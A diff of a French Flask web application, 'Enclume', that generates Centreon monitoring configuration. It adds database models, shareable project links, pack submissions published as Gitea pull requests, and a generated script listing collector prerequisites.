GITEA_SOUS_DOSSIER = os.environ.get("ENCLUME_GITEA_SOUS_DOSSIER", "catalog")
|
||||
|
||||
# --- Limites ------------------------------------------------------------
|
||||
TAILLE_MAX_PROJET = _int("ENCLUME_TAILLE_MAX_PROJET", 2 * 1024 * 1024)
|
||||
TAILLE_MAX_PACK = _int("ENCLUME_TAILLE_MAX_PACK", 256 * 1024)
|
||||
SOUMISSIONS_PAR_JOUR = _int("ENCLUME_SOUMISSIONS_PAR_JOUR", 10)
|
||||
|
||||
@classmethod
|
||||
def base_active(cls) -> bool:
|
||||
return bool(cls.SQLALCHEMY_DATABASE_URI)
|
||||
|
||||
@classmethod
|
||||
def oidc_actif(cls) -> bool:
|
||||
return bool(cls.OIDC_METADATA and cls.OIDC_CLIENT_ID and cls.OIDC_CLIENT_SECRET)
|
||||
|
||||
@classmethod
|
||||
def gitea_actif(cls) -> bool:
|
||||
return bool(cls.GITEA_URL and cls.GITEA_TOKEN and cls.GITEA_PROPRIETAIRE and cls.GITEA_DEPOT)
|
||||
|
||||
@classmethod
|
||||
def etat(cls) -> dict[str, bool]:
|
||||
"""Ce que le site sait faire, tel qu'annonce a l'interface."""
|
||||
return {
|
||||
"comptes": cls.base_active() and cls.oidc_actif(),
|
||||
"partage": cls.base_active(),
|
||||
"projets_enregistres": cls.base_active() and cls.oidc_actif(),
|
||||
"soumissions": cls.base_active() and cls.oidc_actif(),
|
||||
"publication_gitea": cls.gitea_actif(),
|
||||
}
|
||||
+174
@@ -0,0 +1,174 @@
|
||||
"""Persistance : comptes, projets enregistres, partages, soumissions de packs.
|
||||
|
||||
Toutes les tables sont facultatives : sans ENCLUME_DATABASE_URL, rien de tout
|
||||
cela n'est instancie et l'application fonctionne en mode sans etat.
|
||||
|
||||
Regle de migration : on ajoute, on ne retire jamais dans la meme version que le
|
||||
code qui cesse d'utiliser une colonne. La suppression arrive une version plus
|
||||
tard, quand le retour arriere n'est plus envisage.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import secrets
|
||||
from datetime import datetime, timedelta, timezone
|
||||
|
||||
from flask_sqlalchemy import SQLAlchemy
|
||||
from sqlalchemy import (
|
||||
Boolean,
|
||||
DateTime,
|
||||
ForeignKey,
|
||||
Index,
|
||||
Integer,
|
||||
String,
|
||||
Text,
|
||||
func,
|
||||
)
|
||||
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column, relationship
|
||||
|
||||
|
||||
class Base(DeclarativeBase):
|
||||
pass
|
||||
|
||||
|
||||
db = SQLAlchemy(model_class=Base)
|
||||
|
||||
|
||||
def maintenant() -> datetime:
|
||||
return datetime.now(timezone.utc)
|
||||
|
||||
|
||||
def _identifiant_court() -> str:
|
||||
"""12 caracteres d'alphabet URL, soit 72 bits : non enumerable."""
|
||||
return secrets.token_urlsafe(9)
|
||||
|
||||
|
||||
class Utilisateur(db.Model):
|
||||
__tablename__ = "utilisateurs"
|
||||
|
||||
id: Mapped[int] = mapped_column(Integer, primary_key=True)
|
||||
# Identifiant stable du fournisseur OIDC (revendication "sub").
|
||||
sujet: Mapped[str] = mapped_column(String(255), unique=True, nullable=False)
|
||||
email: Mapped[str] = mapped_column(String(320), default="")
|
||||
nom: Mapped[str] = mapped_column(String(255), default="")
|
||||
administrateur: Mapped[bool] = mapped_column(Boolean, default=False)
|
||||
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||
vu_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||
|
||||
projets: Mapped[list["Projet"]] = relationship(back_populates="proprietaire", cascade="all, delete-orphan")
|
||||
|
||||
@property
|
||||
def affichage(self) -> str:
|
||||
return self.nom or self.email or f"compte {self.id}"
|
||||
|
||||
|
||||
class Projet(db.Model):
|
||||
__tablename__ = "projets"
|
||||
|
||||
id: Mapped[int] = mapped_column(Integer, primary_key=True)
|
||||
utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False)
|
||||
nom: Mapped[str] = mapped_column(String(255), default="Projet sans nom")
|
||||
contenu: Mapped[str] = mapped_column(Text, nullable=False)
|
||||
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||
maj_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant, onupdate=maintenant)
|
||||
|
||||
proprietaire: Mapped[Utilisateur] = relationship(back_populates="projets")
|
||||
|
||||
__table_args__ = (Index("ix_projets_utilisateur", "utilisateur_id"),)
|
||||
|
||||
def resume(self) -> dict:
|
||||
return {
|
||||
"id": self.id,
|
||||
"nom": self.nom,
|
||||
"maj_le": self.maj_le.isoformat() if self.maj_le else None,
|
||||
}
|
||||
|
||||
|
||||
class Partage(db.Model):
|
||||
__tablename__ = "partages"
|
||||
|
||||
id: Mapped[str] = mapped_column(String(32), primary_key=True, default=_identifiant_court)
|
||||
contenu: Mapped[str] = mapped_column(Text, nullable=False)
|
||||
nom: Mapped[str] = mapped_column(String(255), default="")
|
||||
utilisateur_id: Mapped[int | None] = mapped_column(ForeignKey("utilisateurs.id"), nullable=True)
|
||||
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||
expire_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=False)
|
||||
vues: Mapped[int] = mapped_column(Integer, default=0)
|
||||
|
||||
@classmethod
|
||||
def creer(cls, contenu: str, nom: str, jours: int, utilisateur_id: int | None = None) -> "Partage":
|
||||
return cls(
|
||||
contenu=contenu,
|
||||
nom=nom[:255],
|
||||
utilisateur_id=utilisateur_id,
|
||||
expire_le=maintenant() + timedelta(days=jours),
|
||||
)
|
||||
|
||||
@property
|
||||
def expire(self) -> bool:
|
||||
limite = self.expire_le
|
||||
if limite.tzinfo is None: # SQLite rend des datetimes naifs
|
||||
limite = limite.replace(tzinfo=timezone.utc)
|
||||
return limite < maintenant()
|
||||
|
||||
|
||||
class Soumission(db.Model):
|
||||
__tablename__ = "soumissions"
|
||||
|
||||
EN_ATTENTE = "en_attente"
|
||||
PUBLIEE = "publiee"
|
||||
REFUSEE = "refusee"
|
||||
|
||||
id: Mapped[int] = mapped_column(Integer, primary_key=True)
|
||||
utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False)
|
||||
pack_id: Mapped[str] = mapped_column(String(64), nullable=False)
|
||||
categorie: Mapped[str] = mapped_column(String(32), nullable=False)
|
||||
nom: Mapped[str] = mapped_column(String(255), default="")
|
||||
contenu: Mapped[str] = mapped_column(Text, nullable=False) # le YAML soumis
|
||||
message: Mapped[str] = mapped_column(Text, default="") # mot de l'auteur
|
||||
statut: Mapped[str] = mapped_column(String(16), default=EN_ATTENTE)
|
||||
reponse: Mapped[str] = mapped_column(Text, default="") # motif du refus
|
||||
url_pr: Mapped[str] = mapped_column(String(512), default="")
|
||||
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
|
||||
traite_le: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
|
||||
|
||||
auteur: Mapped[Utilisateur] = relationship()
|
||||
|
||||
__table_args__ = (Index("ix_soumissions_statut", "statut"),)
|
||||
|
||||
def resume(self, avec_auteur: bool = False) -> dict:
|
||||
donnees = {
|
||||
"id": self.id,
|
||||
"pack_id": self.pack_id,
|
||||
"categorie": self.categorie,
|
||||
"nom": self.nom,
|
||||
"statut": self.statut,
|
||||
"message": self.message,
|
||||
"reponse": self.reponse,
|
||||
"url_pr": self.url_pr,
|
||||
"cree_le": self.cree_le.isoformat() if self.cree_le else None,
|
||||
}
|
||||
if avec_auteur and self.auteur is not None:
|
||||
donnees["auteur"] = self.auteur.affichage
|
||||
return donnees
|
||||
|
||||
|
||||
def compter_soumissions_du_jour(utilisateur_id: int) -> int:
|
||||
depuis = maintenant() - timedelta(days=1)
|
||||
return (
|
||||
db.session.query(func.count(Soumission.id))
|
||||
.filter(Soumission.utilisateur_id == utilisateur_id, Soumission.cree_le >= depuis)
|
||||
.scalar()
|
||||
or 0
|
||||
)
|
||||
|
||||
|
||||
def purger_partages_expires() -> int:
|
||||
"""Menage opportuniste : appele a la creation d'un partage."""
|
||||
supprimes = (
|
||||
db.session.query(Partage)
|
||||
.filter(Partage.expire_le < maintenant())
|
||||
.delete(synchronize_session=False)
|
||||
)
|
||||
db.session.commit()
|
||||
return supprimes or 0
|
||||
+49
-1
@@ -244,14 +244,62 @@ def render_shell(plan: Plan, ops: list[Op], title: str, apply_config: bool) -> s
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def render_prerequis(plan: Plan) -> str:
|
||||
"""Fichier separe : ce qui s'installe sur le collecteur, jamais du CLAPI."""
|
||||
|
||||
prerequis = plan.project.prerequis
|
||||
lignes = [
|
||||
"#!/usr/bin/env bash",
|
||||
"#",
|
||||
f"# Prerequis des sondes - {plan.project.name}",
|
||||
"# Genere par Enclume. A RELIRE AVANT EXECUTION.",
|
||||
"#",
|
||||
"# Ce fichier n'est pas du CLAPI : il s'execute sur le collecteur qui",
|
||||
"# porte les plugins, pas sur le serveur central. Les commandes sont",
|
||||
"# commentees par distribution ; decommentez celle qui vous concerne.",
|
||||
"#",
|
||||
"set -euo pipefail",
|
||||
"",
|
||||
]
|
||||
|
||||
if prerequis.paquets_debian:
|
||||
lignes += [
|
||||
"# Debian et Ubuntu",
|
||||
"# apt-get update",
|
||||
"# apt-get install -y " + " ".join(prerequis.paquets_debian),
|
||||
"",
|
||||
]
|
||||
if prerequis.paquets_rhel:
|
||||
lignes += [
|
||||
"# RHEL, Alma, Rocky",
|
||||
"# dnf install -y " + " ".join(prerequis.paquets_rhel),
|
||||
"",
|
||||
]
|
||||
if prerequis.notes:
|
||||
lignes += ["# Notes de l'auteur du pack :"]
|
||||
lignes += [f"# {ligne}" for ligne in prerequis.notes.splitlines()]
|
||||
lignes += [""]
|
||||
if prerequis.verifications:
|
||||
lignes += ["# Verifications, sans effet de bord :"]
|
||||
for verification in prerequis.verifications:
|
||||
lignes.append(verification)
|
||||
lignes.append("")
|
||||
|
||||
lignes += ['echo "Prerequis passes en revue."', ""]
|
||||
return "\n".join(lignes)
|
||||
|
||||
|
||||
def render_bundle(plan: Plan) -> dict[str, str]:
|
||||
apply_config = bool(plan.project.apply_config)
|
||||
return {
|
||||
fichiers = {
|
||||
"deploy.clapi": render_import(plan, plan.ops, "Deploiement CLAPI"),
|
||||
"deploy.sh": render_shell(plan, plan.ops, "Deploiement CLAPI", apply_config),
|
||||
"rollback.clapi": render_import(plan, plan.rollback_ops, "Suppression des objets"),
|
||||
"rollback.sh": render_shell(plan, plan.rollback_ops, "Suppression des objets", apply_config),
|
||||
}
|
||||
if not plan.project.prerequis.vide:
|
||||
fichiers["prerequis.sh"] = render_prerequis(plan)
|
||||
return fichiers
|
||||
|
||||
|
||||
def generate(raw_project: dict[str, Any]) -> dict[str, Any]:
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
"""Publication d'un pack accepte, sous forme de pull request Gitea.
|
||||
|
||||
Choix volontaire : la moderation n'ecrit jamais directement sur la branche
|
||||
principale. Elle ouvre une demande, que tu relis dans Gitea avant de fusionner.
|
||||
Git reste la source de verite du catalogue, et une acceptation par erreur dans
|
||||
l'interface reste rattrapable en un clic.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import json
|
||||
import re
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
|
||||
from .config import Config
|
||||
|
||||
TIMEOUT = 15
|
||||
|
||||
|
||||
class ErreurGitea(RuntimeError):
|
||||
pass
|
||||
|
||||
|
||||
def _appel(methode: str, chemin: str, corps: dict | None = None) -> dict:
|
||||
url = f"{Config.GITEA_URL}/api/v1{chemin}"
|
||||
donnees = json.dumps(corps).encode("utf-8") if corps is not None else None
|
||||
requete = urllib.request.Request(url, data=donnees, method=methode)
|
||||
requete.add_header("Authorization", f"token {Config.GITEA_TOKEN}")
|
||||
requete.add_header("Content-Type", "application/json")
|
||||
requete.add_header("Accept", "application/json")
|
||||
try:
|
||||
with urllib.request.urlopen(requete, timeout=TIMEOUT) as reponse:
|
||||
charge = reponse.read().decode("utf-8")
|
||||
return json.loads(charge) if charge else {}
|
||||
except urllib.error.HTTPError as erreur:
|
||||
detail = erreur.read().decode("utf-8", "replace")[:500]
|
||||
raise ErreurGitea(f"{methode} {chemin} : HTTP {erreur.code} — {detail}") from erreur
|
||||
except urllib.error.URLError as erreur:
|
||||
raise ErreurGitea(f"{methode} {chemin} : {erreur.reason}") from erreur
|
||||
|
||||
|
||||
def _nom_de_branche(pack_id: str, soumission_id: int) -> str:
|
||||
base = re.sub(r"[^a-z0-9-]+", "-", pack_id.lower()).strip("-") or "pack"
|
||||
return f"pack/{base}-{soumission_id}"
|
||||
|
||||
|
||||
def ouvrir_demande(soumission, auteur: str) -> str:
|
||||
"""Cree la branche, y depose le pack, ouvre la pull request. Rend son URL."""
|
||||
|
||||
if not Config.gitea_actif():
|
||||
raise ErreurGitea("publication Gitea non configuree")
|
||||
|
||||
proprietaire = Config.GITEA_PROPRIETAIRE
|
||||
depot = Config.GITEA_DEPOT
|
||||
branche = _nom_de_branche(soumission.pack_id, soumission.id)
|
||||
chemin = f"{Config.GITEA_SOUS_DOSSIER}/{soumission.categorie}/{soumission.pack_id}.yml"
|
||||
|
||||
# Un seul appel cree la branche et le fichier : new_branch part de branch.
|
||||
_appel(
|
||||
"POST",
|
||||
f"/repos/{proprietaire}/{depot}/contents/{chemin}",
|
||||
{
|
||||
"content": base64.b64encode(soumission.contenu.encode("utf-8")).decode("ascii"),
|
||||
"message": f"Ajout du pack {soumission.pack_id} ({soumission.categorie})",
|
||||
"branch": Config.GITEA_BRANCHE,
|
||||
"new_branch": branche,
|
||||
},
|
||||
)
|
||||
|
||||
corps = [
|
||||
f"Pack **{soumission.nom or soumission.pack_id}** propose depuis Enclume.",
|
||||
"",
|
||||
f"- identifiant : `{soumission.pack_id}`",
|
||||
f"- categorie : `{soumission.categorie}`",
|
||||
f"- auteur : {auteur}",
|
||||
f"- soumission : #{soumission.id}",
|
||||
]
|
||||
if soumission.message:
|
||||
corps += ["", "Message de l'auteur :", "", f"> {soumission.message.strip()}"]
|
||||
corps += [
|
||||
"",
|
||||
"---",
|
||||
"Contribution externe : relire la ligne de commande, les macros et les "
|
||||
"eventuels prerequis avant de fusionner.",
|
||||
]
|
||||
|
||||
demande = _appel(
|
||||
"POST",
|
||||
f"/repos/{proprietaire}/{depot}/pulls",
|
||||
{
|
||||
"head": branche,
|
||||
"base": Config.GITEA_BRANCHE,
|
||||
"title": f"Pack {soumission.pack_id}",
|
||||
"body": "\n".join(corps),
|
||||
},
|
||||
)
|
||||
return str(demande.get("html_url") or "")
|
||||
+85
-7
@@ -10,21 +10,43 @@ qu'on exporte, ce qu'on partage et ce que la CI rejoue.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import asdict, dataclass, field
|
||||
from typing import Any
|
||||
|
||||
SCHEMA_VERSION = 1
|
||||
|
||||
# Versions de Centreon proposees dans l'editeur et ce qu'elles impliquent.
|
||||
# Centreon nomme ses versions par annee et saison de livraison : XX.04 au
|
||||
# printemps, XX.10 a l'automne. Les versions des annees paires sont supportees
|
||||
# trois ans (LTS) depuis la 24.10, celles des annees impaires dix-huit mois.
|
||||
CENTREON_VERSIONS: dict[str, dict[str, Any]] = {
|
||||
"24.x": {"label": "Centreon 24.x", "macro_fields": 5},
|
||||
"23.x": {"label": "Centreon 23.x", "macro_fields": 5},
|
||||
"22.x": {"label": "Centreon 22.x", "macro_fields": 5},
|
||||
"21.x": {"label": "Centreon 21.x", "macro_fields": 5},
|
||||
"25.10": {"label": "Centreon 25.10", "macro_fields": 5},
|
||||
"25.04": {"label": "Centreon 25.04", "macro_fields": 5},
|
||||
"24.10": {"label": "Centreon 24.10 (LTS)", "macro_fields": 5},
|
||||
"24.04": {"label": "Centreon 24.04", "macro_fields": 5},
|
||||
"23.10": {"label": "Centreon 23.10", "macro_fields": 5},
|
||||
"23.04": {"label": "Centreon 23.04", "macro_fields": 5},
|
||||
"22.10": {"label": "Centreon 22.10", "macro_fields": 5},
|
||||
"22.04": {"label": "Centreon 22.04", "macro_fields": 5},
|
||||
"21.10": {"label": "Centreon 21.10", "macro_fields": 5},
|
||||
"21.04": {"label": "Centreon 21.04", "macro_fields": 5},
|
||||
"20.10": {"label": "Centreon 20.10", "macro_fields": 5},
|
||||
"20.04": {"label": "Centreon 20.04", "macro_fields": 5},
|
||||
"legacy": {"label": "Centreon anterieur a 20.04", "macro_fields": 3},
|
||||
}
|
||||
|
||||
VERSION_PAR_DEFAUT = "25.10"
|
||||
|
||||
# Les premieres versions d'Enclume proposaient des familles ("24.x") plutot que
|
||||
# des versions reelles. Les projets enregistres a cette epoque restent lisibles.
|
||||
VERSIONS_HISTORIQUES = {
|
||||
"24.x": "24.10",
|
||||
"23.x": "23.10",
|
||||
"22.x": "22.10",
|
||||
"21.x": "21.10",
|
||||
}
|
||||
|
||||
COMMAND_TYPES = {"check": "Controle", "notif": "Notification", "misc": "Divers", "discovery": "Decouverte"}
|
||||
|
||||
FORBIDDEN = ";"
|
||||
@@ -157,10 +179,58 @@ class Host:
|
||||
)
|
||||
|
||||
|
||||
@dataclass
|
||||
class Prerequis:
|
||||
"""Ce qu'il faut installer sur le collecteur pour que les sondes tournent.
|
||||
|
||||
Volontairement separe du CLAPI : ces commandes s'executent sur un serveur,
|
||||
elles ne doivent jamais etre melangees au code de configuration ni jouees
|
||||
sans relecture.
|
||||
"""
|
||||
|
||||
paquets_debian: list[str] = field(default_factory=list)
|
||||
paquets_rhel: list[str] = field(default_factory=list)
|
||||
verifications: list[str] = field(default_factory=list)
|
||||
notes: str = ""
|
||||
|
||||
@property
|
||||
def vide(self) -> bool:
|
||||
return not (self.paquets_debian or self.paquets_rhel or self.verifications or self.notes)
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, raw: dict[str, Any] | None) -> "Prerequis":
|
||||
raw = raw or {}
|
||||
paquets = raw.get("paquets") or {}
|
||||
return cls(
|
||||
paquets_debian=[_clean(p) for p in paquets.get("debian") or [] if _clean(p)],
|
||||
paquets_rhel=[_clean(p) for p in paquets.get("rhel") or [] if _clean(p)],
|
||||
verifications=[_clean(v) for v in raw.get("verifications") or [] if _clean(v)],
|
||||
notes=str(raw.get("notes") or "").strip(),
|
||||
)
|
||||
|
||||
def fusionner(self, autre: "Prerequis") -> None:
|
||||
for source, cible in (
|
||||
(autre.paquets_debian, self.paquets_debian),
|
||||
(autre.paquets_rhel, self.paquets_rhel),
|
||||
(autre.verifications, self.verifications),
|
||||
):
|
||||
for valeur in source:
|
||||
if valeur not in cible:
|
||||
cible.append(valeur)
|
||||
if autre.notes and autre.notes not in self.notes:
|
||||
self.notes = f"{self.notes}\n\n{autre.notes}".strip()
|
||||
|
||||
|
||||
# Un nom de paquet reste un nom de paquet : ni espace, ni separateur de
|
||||
# commande. Le fichier genere est relu par un humain, mais autant qu'aucune
|
||||
# soumission ne puisse y glisser autre chose.
|
||||
MOTIF_PAQUET = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._+-]{0,80}$")
|
||||
|
||||
|
||||
@dataclass
|
||||
class Project:
|
||||
name: str = "Nouveau projet"
|
||||
centreon_version: str = "24.x"
|
||||
centreon_version: str = VERSION_PAR_DEFAUT
|
||||
prefix: str = ""
|
||||
plugins_dir: str = "/usr/lib/centreon/plugins"
|
||||
poller: str = "Central"
|
||||
@@ -169,6 +239,7 @@ class Project:
|
||||
service_templates: list[ServiceTemplate] = field(default_factory=list)
|
||||
host_templates: list[HostTemplate] = field(default_factory=list)
|
||||
hosts: list[Host] = field(default_factory=list)
|
||||
prerequis: Prerequis = field(default_factory=Prerequis)
|
||||
schema: int = SCHEMA_VERSION
|
||||
|
||||
@property
|
||||
@@ -178,9 +249,10 @@ class Project:
|
||||
@classmethod
|
||||
def from_dict(cls, raw: dict[str, Any] | None) -> "Project":
|
||||
raw = raw or {}
|
||||
version = _clean(raw.get("centreon_version")) or "24.x"
|
||||
version = _clean(raw.get("centreon_version")) or VERSION_PAR_DEFAUT
|
||||
version = VERSIONS_HISTORIQUES.get(version, version)
|
||||
if version not in CENTREON_VERSIONS:
|
||||
version = "24.x"
|
||||
version = VERSION_PAR_DEFAUT
|
||||
return cls(
|
||||
name=_clean(raw.get("name")) or "Nouveau projet",
|
||||
centreon_version=version,
|
||||
@@ -192,6 +264,7 @@ class Project:
|
||||
service_templates=[ServiceTemplate.from_dict(s) for s in raw.get("service_templates") or []],
|
||||
host_templates=[HostTemplate.from_dict(h) for h in raw.get("host_templates") or []],
|
||||
hosts=[Host.from_dict(h) for h in raw.get("hosts") or []],
|
||||
prerequis=Prerequis.from_dict(raw.get("prerequis")),
|
||||
)
|
||||
|
||||
def to_dict(self) -> dict[str, Any]:
|
||||
@@ -214,6 +287,7 @@ class Project:
|
||||
add(self.service_templates, other.service_templates, "Modele de service")
|
||||
add(self.host_templates, other.host_templates, "Modele d'hote")
|
||||
add(self.hosts, other.hosts, "Hote")
|
||||
self.prerequis.fusionner(other.prerequis)
|
||||
return skipped
|
||||
|
||||
|
||||
@@ -290,6 +364,10 @@ def validate(project: Project) -> list[dict[str, str]]:
|
||||
warn(f"Hote {host.name} : modele d'hote inconnu, {template}")
|
||||
_check_macros(host.macros, f"Hote {host.name}", issues)
|
||||
|
||||
for paquet in (*project.prerequis.paquets_debian, *project.prerequis.paquets_rhel):
|
||||
if not MOTIF_PAQUET.match(paquet):
|
||||
error(f"Prerequis : nom de paquet invalide, {paquet}")
|
||||
|
||||
if not project.commands and not project.service_templates and not project.host_templates:
|
||||
warn("Le projet est vide.")
|
||||
|
||||
|
||||
+2
-1
@@ -7,7 +7,7 @@ le projet de l'utilisateur, qui les modifie ensuite librement.
|
||||
from __future__ import annotations
|
||||
|
||||
from .catalog import Pack
|
||||
from .model import Command, HostTemplate, Macro, Project, ServiceTemplate
|
||||
from .model import Command, HostTemplate, Macro, Prerequis, Project, ServiceTemplate
|
||||
|
||||
|
||||
def _macro(macro) -> Macro:
|
||||
@@ -23,6 +23,7 @@ def pack_to_project(pack: Pack, only_defaults: bool = True, service_parent: str
|
||||
"""Construit un projet ne contenant que les objets du pack."""
|
||||
|
||||
project = Project(name=pack.name)
|
||||
project.prerequis = Prerequis.from_dict(pack.prerequis)
|
||||
project.commands = []
|
||||
project.service_templates = []
|
||||
|
||||
|
||||
@@ -0,0 +1,350 @@
|
||||
"""Routes des chantiers 3 a 5 : projets enregistres, partage, soumissions.
|
||||
|
||||
Deux regles traversent tout ce fichier.
|
||||
|
||||
1. Aucun mot de passe ne franchit la porte du stockage. Tout projet ecrit en
|
||||
base — enregistrement, partage, soumission — passe d'abord par
|
||||
strip_secrets. Un site public n'a aucune raison de detenir le mot de passe
|
||||
MySQL de qui que ce soit.
|
||||
2. Rien ne s'execute. Une soumission est du texte, relu par un humain dans une
|
||||
pull request avant d'atteindre le catalogue.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
from datetime import timezone
|
||||
|
||||
import yaml
|
||||
from flask import Blueprint, jsonify, request
|
||||
|
||||
from .auth import administration_requise, connexion_requise, utilisateur_courant
|
||||
from .catalog import CATEGORIES, Pack
|
||||
from .config import Config
|
||||
from .db import (
|
||||
Partage,
|
||||
Projet,
|
||||
Soumission,
|
||||
compter_soumissions_du_jour,
|
||||
db,
|
||||
maintenant,
|
||||
purger_partages_expires,
|
||||
)
|
||||
from .gitea import ErreurGitea, ouvrir_demande
|
||||
from .model import Project, strip_secrets
|
||||
|
||||
bp = Blueprint("donnees", __name__)
|
||||
|
||||
MOTIF_PACK_ID = re.compile(r"^[a-z0-9][a-z0-9-]{2,63}$")
|
||||
|
||||
|
||||
def _projet_sans_secrets(brut: dict) -> Project:
|
||||
return strip_secrets(Project.from_dict(brut))
|
||||
|
||||
|
||||
def _corps() -> dict:
|
||||
return request.get_json(force=True, silent=True) or {}
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# Chantier 3 — projets enregistres
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
@bp.get("/api/projets")
|
||||
@connexion_requise
|
||||
def lister_projets():
|
||||
utilisateur = utilisateur_courant()
|
||||
projets = (
|
||||
db.session.query(Projet)
|
||||
.filter_by(utilisateur_id=utilisateur.id)
|
||||
.order_by(Projet.maj_le.desc())
|
||||
.all()
|
||||
)
|
||||
return jsonify([p.resume() for p in projets])
|
||||
|
||||
|
||||
@bp.post("/api/projets")
|
||||
@connexion_requise
|
||||
def enregistrer_projet():
|
||||
utilisateur = utilisateur_courant()
|
||||
corps = _corps()
|
||||
projet = _projet_sans_secrets(corps.get("project") or {})
|
||||
contenu = json.dumps(projet.to_dict(), ensure_ascii=False)
|
||||
if len(contenu) > Config.TAILLE_MAX_PROJET:
|
||||
return jsonify({"erreur": "projet trop volumineux"}), 413
|
||||
|
||||
identifiant = corps.get("id")
|
||||
if identifiant:
|
||||
enregistrement = db.session.get(Projet, int(identifiant))
|
||||
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
|
||||
return jsonify({"erreur": "projet introuvable"}), 404
|
||||
else:
|
||||
nombre = db.session.query(Projet).filter_by(utilisateur_id=utilisateur.id).count()
|
||||
if nombre >= Config.PROJETS_PAR_COMPTE:
|
||||
return jsonify({"erreur": f"limite de {Config.PROJETS_PAR_COMPTE} projets atteinte"}), 409
|
||||
enregistrement = Projet(utilisateur_id=utilisateur.id)
|
||||
db.session.add(enregistrement)
|
||||
|
||||
enregistrement.nom = projet.name[:255] or "Projet sans nom"
|
||||
enregistrement.contenu = contenu
|
||||
db.session.commit()
|
||||
return jsonify(enregistrement.resume())
|
||||
|
||||
|
||||
@bp.get("/api/projets/<int:identifiant>")
|
||||
@connexion_requise
|
||||
def ouvrir_projet(identifiant: int):
|
||||
utilisateur = utilisateur_courant()
|
||||
enregistrement = db.session.get(Projet, identifiant)
|
||||
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
|
||||
return jsonify({"erreur": "projet introuvable"}), 404
|
||||
return jsonify({"id": enregistrement.id, "project": json.loads(enregistrement.contenu)})
|
||||
|
||||
|
||||
@bp.delete("/api/projets/<int:identifiant>")
|
||||
@connexion_requise
|
||||
def supprimer_projet(identifiant: int):
|
||||
utilisateur = utilisateur_courant()
|
||||
enregistrement = db.session.get(Projet, identifiant)
|
||||
if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id:
|
||||
return jsonify({"erreur": "projet introuvable"}), 404
|
||||
db.session.delete(enregistrement)
|
||||
db.session.commit()
|
||||
return jsonify({"statut": "supprime"})
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# Chantier 3 — partage par lien
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
@bp.post("/api/partages")
|
||||
def creer_partage():
|
||||
if not Config.base_active():
|
||||
return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503
|
||||
|
||||
projet = _projet_sans_secrets(_corps().get("project") or {})
|
||||
contenu = json.dumps(projet.to_dict(), ensure_ascii=False)
|
||||
if len(contenu) > Config.TAILLE_MAX_PROJET:
|
||||
return jsonify({"erreur": "projet trop volumineux"}), 413
|
||||
|
||||
purger_partages_expires()
|
||||
utilisateur = utilisateur_courant()
|
||||
partage = Partage.creer(
|
||||
contenu=contenu,
|
||||
nom=projet.name,
|
||||
jours=Config.PARTAGE_JOURS,
|
||||
utilisateur_id=utilisateur.id if utilisateur else None,
|
||||
)
|
||||
db.session.add(partage)
|
||||
db.session.commit()
|
||||
|
||||
base = Config.URL_PUBLIQUE or request.url_root.rstrip("/")
|
||||
expire = partage.expire_le
|
||||
return jsonify(
|
||||
{
|
||||
"id": partage.id,
|
||||
"url": f"{base}/p/{partage.id}",
|
||||
"expire_le": expire.replace(tzinfo=expire.tzinfo or timezone.utc).isoformat(),
|
||||
"avertissement": "Les macros de type mot de passe ont ete videes avant l'enregistrement.",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@bp.get("/api/partages/<identifiant>")
|
||||
def lire_partage(identifiant: str):
|
||||
if not Config.base_active():
|
||||
return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503
|
||||
partage = db.session.get(Partage, identifiant)
|
||||
if partage is None or partage.expire:
|
||||
return jsonify({"erreur": "ce lien n'existe pas ou a expire"}), 404
|
||||
partage.vues += 1
|
||||
db.session.commit()
|
||||
return jsonify({"project": json.loads(partage.contenu)})
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# Chantier 5 — soumission de packs
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
def valider_pack(texte: str) -> tuple[dict | None, list[str]]:
|
||||
"""Verifie qu'un YAML soumis est un pack exploitable. Ne l'execute jamais."""
|
||||
|
||||
problemes: list[str] = []
|
||||
if len(texte.encode("utf-8")) > Config.TAILLE_MAX_PACK:
|
||||
return None, ["Le fichier depasse la taille autorisee."]
|
||||
|
||||
try:
|
||||
brut = yaml.safe_load(texte)
|
||||
except yaml.YAMLError as erreur:
|
||||
return None, [f"YAML illisible : {erreur}"]
|
||||
|
||||
if not isinstance(brut, dict):
|
||||
return None, ["Le fichier doit contenir un pack, sous forme de dictionnaire."]
|
||||
|
||||
identifiant = str(brut.get("id") or "").strip()
|
||||
if not MOTIF_PACK_ID.match(identifiant):
|
||||
problemes.append(
|
||||
"L'identifiant doit faire 3 a 64 caracteres, en minuscules, chiffres et tirets."
|
||||
)
|
||||
|
||||
categorie = str(brut.get("category") or "").strip()
|
||||
